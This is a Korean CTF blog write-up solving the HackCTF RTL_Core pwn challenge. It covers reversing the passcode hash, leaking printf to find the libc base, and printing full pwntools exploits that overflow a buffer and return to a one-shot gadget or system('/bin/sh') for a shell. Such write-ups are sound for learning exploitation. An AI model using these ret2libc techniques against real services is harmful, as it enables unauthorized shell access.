이번에 풀이할 문제는 HackCTF의 RTL_Core 문제다. 문제 파일로는 바이너리와 libc가 주어져 있다.
문제 파일을 실행해보면 Passcode를 입력 받는다. 입력 값을 검증해서 성공, 실패 여부를 결정하는 것 같다.
보호 기법은 nx bit만 걸려 있는 것을 알 수 있다.
ida로 main 함수를 확인해보면 입력 값을 bof에 취약한 함수 gets로 받고, 입력 값을 check_passcode 함수의 인자로 전달한 후 리턴 값과 hashcode라는 값과 비교한다. ida에서는 한글이 깨져서 이상하게 나와 있지만, 어쨌든 hashcode와 일치한다면 무언가를 출력해준 뒤, core 함수를 호출해준다.
일치하지 않을 경우 위에서 봤던 "실패!" 문구를 출력해주는 것 같다. 잠만 깨진 문구가 이상하다? 욕 같은데...?
check_passcode 함수를 확인해봤다. for문을 통해 5번 반복하는데, 매번 반복시마다 인자로 전달된 입력 값을 4byte 간격으로 쪼개 v2 변수에 더해준 뒤 반복이 끝난 후 최종 v2의 값을 리턴해준다.(아스키 값을 더해주는 것이다.)
hashcode의 값은 위와 같다. 0xC0D9B0A7다.
hashcode가 일치할시 호출해주는 core 함수도 살펴봤다. 이 함수에서 flag를 출력해주거나 쉘을 얻게해줄 것이라고 기대했지만, 그저 dlsym 함수로 printf의 주소 값을 출력해주는 역할을 한다. leak에 사용하라는 것 같다.
또한 retrun하는 부분에 read 명령어가 있는데 딱봐도 buf보다 지정해준 입력 값의 길이가 더 길어 bof가 일어날 것 같기도 하다.
솔직히 나는 hashcode를 굳이 구할 필요가 없어보였다. gets 함수를 통해 입력을 받으니 rop 기법을 사용해 puts 함수로 gets 등의 함수를 출력하고 주어진 libc를 이용해 해당 함수의 offset을 구해 빼준다면 libc base 주소를 구할 수 있기 때문이다.
이를 이용해 one shot 가젯을 사용할 수도, 혹은 binsh 문자열의 주소를 구해 system 함수의 인자로 넣어 쉘을 얻을 수도 있을 것이다.
from pwn import *
context.log_level = 'debug'
r = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')
elf = ELF('./rtlcore')
pr = 0x08048683
gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
bss = elf.bss()
payload = b'A' * 76
payload += p32(puts_plt) + p32(pr) + p32(gets_got)
r.sendlineafter('Passcode: ', payload)
r.interactive()
그렇게 짠 것이 위 코드다. puts 함수로 gets 함수의 주소(got table)를 출력한 뒤, 받아와 unpack한 후 leak을 통해 libc base 주소를 구하려고 했지만 몇 번을 시도해봐도 출력이 되지 않았다.
gdb.attach(r) 코드를 추가해 디버깅을 해봤지만, 이상하게 main ret 명령어 부분에서 esp의 값이 이상한 값으로 변해버려(정확히는 payload에 포함된 A의 아스키 코드 값으로) SIGSEGV 오류가 뜬다.
처음에는 payload의 dummy 값의 양을 잘못 지정해준 줄 알았지만 검토를 해봐도 이상이 없었다.
그렇게 원인을 찾던 중 ret 위에 있던 영문 모를 명령어를 발견했다. 원래 ret 위에는 leave 명령어가 있어야하지만, 이 문제에서는 이상하게 lea 명령어가 존재하는 것이다. 게다가 이 lea 명령어가 esp 값을 조정해준다...
내 exploit 코드가 이상해서 오류가 뜬걸지도 모르지만, 일단 문제를 의도대로(rtl 공격) 풀게 하기위한 코드라고 생각이 들어 정석대로 풀이하기로 했다.
위에 정리했듯이 passcode가 일치할시 호출되는 core 함수에는 read 함수를 통한 bof 취약점이 존재한다. 입력을 하기 전 printf의 주소를 출력해주기 때문에 출력된 printf 주소를 이용해 libc base를 구하고, one shot 가젯이나 system, binsh 문자열 등의 주소를 구한 뒤 획득한 주소들로 read 함수를 통해 공격하면 될 것 같다.
check_passcode는 입력 값(20byte)을 4byte씩 나눠 아스키 값을 v2에 더해준 뒤 v2 값을 리턴해준다고 했다. hashcode 값이 0xC0D9B0A7이므로 이 값을 5로 나눈 값을 4byte씩 입력해준다면 될 것 같다.
hashcode를 5로 나눈 값은 0x2691F021이지만 이 값에 5를 곱해보면 0xC0D9B0A5가 나온다. 2 부족하다.
그렇다면 2 부족하므로 0x2691F021 * 4 + 0x2691F023을 해주면 될 것이다.
from pwn import *
r = process('./rtlcore')
libc = ELF('./libc.so.6')
elf = ELF('./rtlcore')
passcode = p32(0x2691F021) * 4 + p32(0x2691F023)
r.sendlineafter('Passcode: ', passcode)
hashcode 통과에 사용한 코드다.
통과한다면 위와 같은 문구와 함께 printf의 주소가 출력된다.
hashcode는 해결된 것 같으니 core의 ret, 입력 값이 저장되는 스택 주소를 gdb를 통해 구하겠다.
ret는 0xffffcdcc, 입력 값은 0xffffcd8a인 것을 알 수 있다. 따라서 둘의 거리는 66byte이므로 66byte의 더미 값과 원하는 주소를 입력 값으로 준다면 원하는 코드를 실행할 수 있다.
system 함수, binsh 문자열의 주소를 주어진 printf 함수를 통해 구한 libc base 주소로 구해 exploit할 수도 있겠지만, 좀 더 간단하게 one shot 가젯을 사용하기로 했다.
6개의 후보가 나왔다. 하나하나 다 넣어봐서 되는 offset의 oneshot gadget을 쓰면 될 것 같다.
exploit에 필요한 모든 것을 구했으니 공격 코드를 짜보겠다.
from pwn import *
#r = process('./rtlcore')
r = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')
elf = ELF('./rtlcore')
passcode = p32(0x2691F021) * 4 + p32(0x2691F023)
r.sendlineafter('Passcode: ', passcode)
r.recvuntil('바로 ')
libc_base = int(r.recv(10), 16) - libc.symbols['printf']
payload = b'A' * 66 + p32(libc_base + 0x3a819)
r.recv()
r.send(payload)
r.interactive()
위 코드가 여러 번 oneshot gadget의 offset을 바꿔가며 공격한 끝에 성공한 exploit 코드다. hashcode를 통과한 후 출력되는 printf 주소를 libc의 printf offset으로 빼줘 libc base 주소를 구했으며, 66byte의 더미 값과 함께 libc base 주소에 4번째 oneshot gadget의 offset을 더한 주소를 입력으로 주었다.
작성한 코드를 실행해보면 성공적으로 flag를 얻을 수 있다.
GG!
번외) system, binsh 문자열의 주소를 사용한 풀이 ...
from pwn import *
context.log_level = 'debug'
#r = process('./rtlcore')
r = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')
elf = ELF('./rtlcore')
passcode = p32(0x2691F021) * 4 + p32(0x2691F023)
r.sendlineafter('Passcode: ', passcode)
r.recvuntil('바로 ')
libc_base = int(r.recv(10), 16) - libc.symbols['printf']
payload = b'A' * 66 + p32(libc_base + libc.symbols['system']) + b'A' * 4 + p32(libc_base + list(libc.search(b"/bin/sh"))[0])
r.recv()
r.send(payload)
r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Sysrop (0) | 2021.07.21 |
---|---|
[HackCTF] ROP (0) | 2021.07.21 |
[HackCTF] Random Key (0) | 2021.07.20 |
[HackCTF] g++ pwn (0) | 2021.07.05 |
[HackCTF] RTL_World (0) | 2021.06.30 |